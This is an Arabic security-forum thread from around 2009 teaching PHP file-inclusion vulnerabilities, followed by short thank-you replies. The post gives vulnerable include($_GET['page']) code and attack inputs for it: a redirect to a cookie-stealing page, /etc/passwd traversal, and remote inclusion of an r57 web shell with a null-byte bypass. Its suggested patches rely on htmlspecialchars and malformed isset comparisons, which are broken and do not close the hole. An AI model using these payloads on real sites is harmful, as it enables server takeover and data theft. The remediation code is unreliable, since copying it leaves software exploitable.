Loading...

BTC Address to donate : [[address]]

Donation of [[value]] BTC Received. Thank You.
[[error]]


CmOs_CLR C-H TeAm
  • شكراً: 81
  • تم شكره 231 مرة في 21 مشاركة

بسم الله الرحمن الرحيم

السلام عليكم و رحمة الله و بركاته

من المؤكد ان الجميع قد سمع بهده الثغرات التى عرفت من اول ثغرات الأختراق و اشهرها لذلك لابد من شرح لها و لطرق اكتشافها و طرق ترقيعها لأنه لازلنا نرى الكثير من

المبرمجين يرتكبون اخطاء في اكوادهم من نوع ثغرات الأنكلود .

هنالك دوال كثيرة مسؤولة على هذا النوع من الثغرات تعتبر اهمها

كود:

include(); include_once(); require(); require_once(); file(); fopen(); file_get_contents();


فمثلا عندنا موقع يحتوى على 100 صفحة من بينها صفحة تحوى قائمة الأقسام للمنتدى و نريد ان تظهر القائمة في جميع صفحات الموقع فهنا يجب علينا استعمال احدى

الدوال السابقة لسحب صفحة القائمة الى الصفحة التى نريدها ان تظهر فيها لاحظ معى الكود التالى :

كود PHP:
<?php
//include.php
if(isset($_GET['page']))
   include(
$_GET['page']);
else
   echo 
"error 404 no page found" ;
?>
من هدا الكود نجد ان هناك متغير page يقوم بادراج صفحة داخل الصفحة التى تحتوى الكود السابق من خلال المتغير GET_$ الى هنا الأمور بسيطة بالنسبة للمستخدمين العادين

لكن بالنسبة للمتمرسين فهى شىء اخر فمن خلال هذا المتغير يمكن للمستخدم ان يقوم بادراج كود ضار بدل صفحة القائمة.

الحالة الطبيعية للكود هى بالشكل التالى :

كود PHP:
Include.php?page=menu.php 
حالة الكود الخبيث هى من الشكل التالى:

كود PHP:
Include.php?page=bad_code 
حيث bad_code يحتوى عدة انواع من المتغيرات:

1- اكواد HTML و هذا اقل الأستغلالات خطورة

2- ملفات موجودة بجانب ملف menu.php حتى ملفات النضام مثل

passwd فى انظمت اللينكس و SAM فى انظمة الويندوس

3-ضفحات ل back_door و shell و هذا هو اخطر استغلال

اذا راح يكون الأستغلال بالشكل التالى :
الحالة الأولى

كود PHP:
include.php?page=<META HTTP-EQUIV="Refresh" CONTENT="0;URL=http://site.com/cookies_steal.php"
الحالة الثانية :

كود PHP:
include.php?page=../../../etc/passwd 
الحالة الثالثة :

كود PHP:
include.php?page=http://site.com/r57.txt? 
و هكذا راح يفتح الشل مكان القائمة و اعتقد الكل يعرف تكملت الفلم التى غالبا ما تنتهى بسيطرة على سيرفر باكمله.

المهم في بعص الحالات يتم تحديد لنوع الملف الدى يتم ادراجه لاحظ معى الكود التالى :


كود PHP:
<?php
//include.php
if(isset($_GET['page'] . ".php" ))
   include(
$_GET['page']);
else
   echo 
"error 404 no page found" ;
?>
اي انه طلب ان تكون لا حقة الملف php و الا فلن يتم ادراج الملف ووجد تخطى لهذا المشكل باضافة بايت 0 في نهاية السطر اي الأستغلال راح ايكون بالشكل التالى:

كود PHP:
?include.php?page=http://site.com/r57.txt%00 
و السبب هو ان 00% تعتبر في لغة ال c دليل على انتهاء سطر الرموز و اغلب دوال الphp تعامل بواسطة برامج مبرمجة بال c اذا يتم التعامل مع اي شى قبلها

على اساس انه رموز اذا txt. تاخذ على اساس انها رموز و ليست لاحقة و في نفس الوقت 00% تهمل و هكذا يدرج شلنا :D

الى هنا تعرضنا لطرق ايجاد الثغرات اذا كان معنا الكود للملف و الأن سنتطرق الى محاولت ايجاد هذا النوع من

الثغرات من خلال التعامل بمحتويات المتغيرات في الصفحات و احداث اخطاء و لأناخذ مثلا موقع لنجرب عليه:



بعد ان ارفقت ملف غير موجود اساسا عرض لى الخطاء التالى
كود PHP:
Warning: require(a.txtconfigs/default.config.php) [function.require]: failed to open streamNo such file or directory in D:\iis.www\*******************************\reflect.php on line 60

Fatal error
: require() [function.require]: Failed opening required 'a.txtconfigs/default.config.php' (include_path='.;C:\Program Files\php\Include'in D:\iis.www\*******************************\reflect.php on line 60 
فنلاحظ ان الدالة المصابة هى()require


الأن لنجرب ارفاق مكان سكريبت شلنا و نرى :




كما لاحطتم تم عرص الشل داخل الموقع الى هنا انتهى شرح ثغرات الأنكلود ناتى لطريقة الترقيع

1- بالنسبة لأكواد ال HTML

توجد دالة تمنع هذا النوع من الأكواد الا و هى " htmlspecialchars " اذا راح ايصير كودنا كالتالى:

كود PHP:
include.php
<?php
//include.php
if(isset($_GET['page'] . ".php" ))
   include(
htmlspecialchars($_GET['page']));
else
   echo 
"error 404 no page found" ;
?>
بالنسبة لثغرات الأنكلود لدينا ايضا عدة حلول

1-نقوم بالتحقق من الملف اذا موجود حقا بواسطة دالة file_exists

2-تعريف المتغيرات قبل ادراجاها و استعمال حلقة ب if و هذه احسن طريقة

و ان كانت طويلة الكود لاحظ كيف يصير كودنا

كود PHP:

<?php
//include.php
//الملف الأول باسمه
if(isset($_GET['page'] == "header" ".php" ))
{
   include(
htmlspecialchars($_GET['page']));
}
//الملف الثانى باسمه
if(isset($_GET['page'] == "menu" ".php" ))

{

   include(
htmlspecialchars($_GET['page']));
}
//الملف التالث باسمه
if(isset($_GET['page'] == "Sec4ever" ".php" ))
{
   include(
htmlspecialchars($_GET['page']));
}
// و في حالة و لا ملف موجود ينتج لنا الخطاء
else
   echo 
"error 404 no page found" ;
//By C-H-TEAM
?>
و ان شاء الله ساتطرق لهذه الأشياء بالتفصيل في دورة الPHP فالى هنا ارجو ان اكون قد وفقت

جميع الحقوق محفوصة لموقع الحماية للأبد
كود:
www.sec4ever.com
دمتم في رعاية الله

31-10-2009, 07:29 PM
DeSpErAdO-Dz عضو جديد
  • شكراً: 1
  • تم شكره 2 مرة في مشاركة واحدة

مشكووووووووووور
معلومات مفيدة للمبتدئين
ننتظر الدروس القادمة أجمل
:d

31-10-2009, 08:39 PM
CmOs_CLR C-H TeAm
  • شكراً: 81
  • تم شكره 231 مرة في 21 مشاركة

شكرا اخى على المرور الكريم و ان كنت اعتقد ان طريقة الترقيع مش للمبتدائين .

31-10-2009, 08:45 PM
BL[4]CK GH[0]ST مشرف
  • شكراً: 26
  • تم شكره 37 مرة في 12 مشاركة

مشكووور عل الموضوع الأكــــــثر من رائع
ننتظر جديدك بفارغ الصبر

توقيع
Don't Learn To Hack .but. Hack To Learn
For Exchange Experiences
BeHotmail.Fr

Always Crazy About WwW.SeC4EvEr.CoM
04-11-2009, 11:15 PM
Ma3sTr0-Dz :: Sec4ever#TG ::
  • شكراً: 819
  • تم شكره 366 مرة في 106 مشاركة

بارك لله فيك ، درس مفيد للمبتدئين لآكن طريقة الترقيع خاصة نوعاً ما بالخبراء بالمجال و اصحاب المواقع المعنية

توقيع
One Team , One Love , One Heart
Sec4ever
05-11-2009, 09:49 AM
HaRd_HaKeRz C-H TeAm
  • شكراً: 516
  • تم شكره 279 مرة في 77 مشاركة

تسلم على الشرح حبيبي

01-02-2010, 11:44 PM
VoLc4n0 عضو مميز
  • شكراً: 74
  • تم شكره 29 مرة في 9 مشاركة

بصراحه احب الشرح يلي بعتمد ع البرمجه بنفهم بشكل افضل بكثير

شكرا لك

10-05-2010, 11:03 PM
n4ss1m Ş4È´cΘđ3г
  • شكراً: 1563
  • تم شكره 1653 مرة في 343 مشاركة

بارك الله فيك و الله غير 100% مفهوم .°

07-06-2010, 12:29 AM
DZ-CRYPT عضو مميز
  • شكراً: 81
  • تم شكره 18 مرة في 6 مشاركة

توقيع
[SIGPIC][/SIGPIC]
30-06-2010, 05:31 PM
V!ru$_T4ckJ3n Linux Coder
  • شكراً: 306
  • تم شكره 348 مرة في 106 مشاركة

بارك الله فيك اخي الكريم على هذا الشرح الرائع